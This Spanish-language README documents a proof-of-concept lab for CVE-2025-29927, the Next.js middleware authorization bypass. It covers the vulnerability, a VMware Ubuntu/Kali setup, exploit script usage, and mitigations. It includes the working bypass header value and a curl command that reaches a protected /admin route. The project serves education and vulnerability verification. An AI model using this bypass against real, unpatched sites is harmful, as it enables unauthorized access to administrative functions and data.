
Prueba de concepto del exploit para CVE-2025-29927, una omisión de autorización en el middleware de Next.js. Incluye un laboratorio objetivo vulnerable y un script en Python para verificar la omisión enviando cabeceras x-middleware-subrequest manipuladas.
Un pequeño proyecto de GitHub para verificar CVE-2025-29927 (Bypass de autorización de middleware de Next.js) en un laboratorio de autorización local (VMware: máquina objetivo Ubuntu + máquina atacante Kali).
⚠️ Aviso legal: Este proyecto es solo para fines educativos, CTF y entornos de laboratorio que poseas o para los que tengas autorización explícita. Está estrictamente prohibido su uso en sistemas no autorizados. Las consecuencias derivadas del mal uso de este proyecto son responsabilidad del usuario.
| Elemento | Contenido |
|---|---|
| CVE | CVE-2025-29927 |
| Fecha de divulgación | 2025-03-25 (Aviso de seguridad oficial de Next.js) |
| Componente afectado | Vercel Next.js (framework full-stack de Node.js) |
| Tipo de vulnerabilidad | Bypass de autorización / Autorización incorrecta (CWE-863) |
| Versiones afectadas | < 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3 |
| Versiones corregidas | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 y superiores |
| Nivel de gravedad | Crítica / Alta (la puntuación exacta según la página de NVD) |
Tras la aparición de la vulnerabilidad, numerosos paneles de administración, callbacks de pago y APIs de páginas internas en entornos de producción fueron comprometidos. Tanto Metasploit como ProjectDiscovery Nuclei han incluido módulos de detección. Es una de las vulnerabilidades de «bypass de autorización a nivel de framework» más representativas de 2025.
Next.js permite escribir la «lógica de autenticación» en el middleware, por ejemplo:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // No autenticado → bloquear
return NextResponse.next();
}
El problema es que Next.js internamente depende de una cabecera de solicitud que el cliente puede falsificar para determinar si «esta solicitud ya ha pasado por el middleware»:
x-middleware-subrequest: middleware
En las versiones afectadas, si una solicitud externa incluye esta cabecera interna, Next.js asume erróneamente que el middleware ya se ha ejecutado, por lo que se omite todo el middleware de autenticación. El atacante no necesita ninguna cuenta; basta con acceder a rutas protegidas como /admin con esta cabecera para obtener un 200 directo — y como la página normalmente confía en el middleware y no realiza una segunda verificación, el control de autorización queda anulado (error de límite de confianza).
💡 El valor más comúnmente utilizado en la explotación pública es la forma en que la ruta del middleware se concatena repetidamente, por ejemplo
middleware:middleware:middleware:middleware:middleware; un únicomiddlewareno funciona en algunas versiones/estructuras de directorios (verificado en este laboratorio con la 14.2.24). Este PoC probará múltiples valores candidatos; si alguno funciona, el bypass habrá tenido éxito.
CVE-2025-29927-PoC/
├── README.md # Este documento (explicación de la vulnerabilidad + tutorial del laboratorio VMware)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ PoC de verificación en Python3 solo con biblioteca estándar (se ejecuta en Kali/cualquier máquina)
├── target/ # ★ Laboratorio de vulnerabilidad autocontenido (copiar a la máquina objetivo Ubuntu)
│ ├── package.json # Bloquea [email protected] (versión afectada)
│ ├── middleware.js # Simula el «middleware de autenticación» de producción real
│ ├── pages/
│ │ ├── index.js # Página de inicio
│ │ ├── login.js # Página de inicio de sesión (demuestra la redirección aquí)
│ │ └── admin.js # ★ Panel de administración protegido, lee flag.txt en el servidor
│ ├── flag.txt # Bandera del laboratorio: FLAG{...}
│ ├── setup.sh # Instalación con un clic en la máquina objetivo: Node 20 + npm install + build
│ └── start.sh # Escucha en 0.0.0.0:3000 en modo producción
└── tests/
└── mock_target.py # Máquina objetivo simulada sin Node (solo para autocomprobación de desarrollo)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (host: Windows) │
│ Red: NAT (VMnet8 por defecto), ambas VM en la misma subred, ping mutuo │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ Objetivo Ubuntu 24.04 │ │ Atacante Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| Propósito | Imagen/Software | Versión recomendada |
|---|---|---|
| Software de virtualización | VMware Workstation Pro 17 (gratuito para uso personal) | 17.x |
| Imagen de la máquina objetivo | ISO de Ubuntu Server LTS | 24.04.x |
| Máquina atacante | Kali Linux (imagen oficial preconfigurada para VMware o instalación ISO) | 2025.x |
| (Opcional) | Host con 8 GB+ de RAM, 50 GB+ de disco | — |
Todos los siguientes pasos se ejecutan en la máquina objetivo Ubuntu.
# Opción A: sube el proyecto a tu propio GitHub y clónalo (recomendado; usa esto si piensas publicarlo en GitHub)
git clone https://github.com/<tu-nombre-de-usuario>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# Opción B: cópialo desde el host con scp
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Instala Node 20(LTS) + npm install + next build
Lo que hace setup.sh internamente: actualizar apt → instalar herramientas curl/CA/build → instalar Node.js 20 LTS mediante NodeSource → npm install (descarga dependencias como [email protected]) → npm run build.
bash start.sh
# Si ves "▲ Next.js 14.2.24" y "Local: http://0.0.0.0:3000", el inicio fue correcto
Abre otra terminal y haz primero una prueba de humo local:
curl -s http://127.0.0.1:3000 # Página de inicio, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# Salida esperada: 307 — sin cookie, el middleware lo bloquea (autenticación funcionando correctamente)
curl -s http://127.0.0.1:3000/admin # Observa que el body debe ser el contenido de la página de inicio de sesión tras la redirección
El firewall de la máquina objetivo no bloquea el tráfico entrante por defecto; si has activado ufw:
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # Kali trae Python3, no se necesitan dependencias adicionales (el PoC usa solo la biblioteca estándar)
ip -4 addr show # Anota la IP de Kali (p. ej., 192.168.x.xxx)
Copia exploit.py a Kali (clona una copia del mismo repositorio o usa scp para un solo archivo) y luego confirma primero que ambas VM pueden comunicarse:
ping <TARGET_IP> # Si responde ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # Debe mostrar 200
Ejecuta en la máquina atacante Kali:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] Sondeo de referencia GET /admin (sin cabeceras especiales)
└─ Código de estado 307 —— Bloqueado correctamente por el middleware ✓ (entorno vulnerable listo)
[2/3] Intento de bypass x-middleware-subrequest: <sondeo de valores candidatos>
└─ Valor de cabecera='middleware:middleware:middleware:middleware:middleware' Código de estado 200 —— ¡Bypass exitoso! Middleware omitido ✓
[3/3] Extracción de resultados
└─ La página de administración ha leído flag.txt del servidor:
FLAG{cve-2025-29927-lab-ok}
[+] Conclusión: VULNERABLE —— Bypass de autorización CVE-2025-29927 verificado
Lectura clave: con la misma URL, sin la cabecera especial se obtiene un 307, pero con x-middleware-subrequest se llega directamente al panel de administración con un 200 — un ciclo completo de verificación de «bypass del middleware de autenticación».
# ① Referencia: debe devolver 307 (redirección a /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② Explotación: debe devolver 200 e incluir FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 Nota de la prueba real: en este laboratorio (Next 14.2.24 +
middleware.jsen el directorio raíz), el valor de 5 concatenacionesmiddleware:middleware:middleware:middleware:middlewarefunciona, mientras que un únicomiddlewareno funciona. Para pruebas manuales con curl, usa directamente el valor de 5 concatenaciones; si no estás seguro, ejecutaexploit.py(sondea automáticamente los valores candidatos).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL Dirección objetivo, p. ej., http://192.168.162.10:3000
--path PATH Ruta protegida, por defecto /admin
--timeout SECONDS Tiempo de espera por solicitud, por defecto 10
--delay SECONDS Intervalo entre sondeos de valores de cabecera candidatos, por defecto 0
--insecure Omite la verificación del certificado HTTPS
--verbose Imprime el estado de respuesta de cada cabecera candidata, útil para depuración
Códigos de salida: 0 = vulnerabilidad verificada; 1 = objetivo no afectado/todas las solicitudes fallaron; 2 = error de parámetros o de entorno
Si no tienes VMware o no quieres instalar Node primero, puedes usar la máquina objetivo simulada incluida en el repositorio para probar la lógica del PoC (solo necesitas Python3 en el host; simula el comportamiento de «bloqueo 307 / 200 con cabecera especial»):
# Terminal 1: inicia la máquina objetivo simulada (escucha en 127.0.0.1:8123)
python3 tests/mock_target.py
# Terminal 2: verificación
python3 exploit.py -u http://127.0.0.1:8123
# Salida esperada: también muestra VULNERABLE y FLAG{mock-bypass-ok}
Nota: el simulador solo sirve para autocomprobar la lógica del script; la verificación formal debe realizarse en el laboratorio real de las secciones 5 y 6.
npm i [email protected] (o 15.2.3+ / la versión nueva correspondiente), recompila y despliega;getServerSideProps / Route Handler / API de backend;x-middleware-subrequest entrantes en la capa de proxy inverso/CDN/WAF.# Plantilla oficial de Nuclei
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
Después de actualizar, vuelve a ejecutar este PoC; debería mostrar «objetivo no afectado» — esta es la forma de aceptación para la comparación antes/después de la mitigación.
| Síntoma | Causa / Solución |
|---|---|
next start indica que el puerto está ocupado | Usa lsof -i :3000 para encontrar el proceso que lo ocupa, o cambia a -p 3001 |
curl http://<TARGET_IP>:3000 no funciona | Las dos VM no están en la misma subred NAT; comprueba que el adaptador de red de VMware sea NAT en ambas y verifica la subred con ip a |
Acceder a /admin ya devuelve 200 en la referencia | El middleware no está activo: confirma que middleware.js está en el directorio raíz de target/ y que setup.sh se ejecutó correctamente |
| Tras el intento de bypass sigue devolviendo 307 | Los valores efectivos varían según la versión/estructura de directorios: ejecuta primero python3 exploit.py --verbose para ver los resultados del sondeo; para pruebas manuales con curl usa el valor de 5 concatenaciones middleware:middleware:middleware:middleware:middleware |
| Kali no puede hacer ping a Ubuntu | Con NAT de VMware la comunicación es por defecto; si sigue sin funcionar, revisa los firewalls de ambas máquinas y restaura la instantánea |
| Quieres verificar con otra versión de Next | Cambia la versión de next en target/package.json y vuelve a ejecutar npm install && npm run build |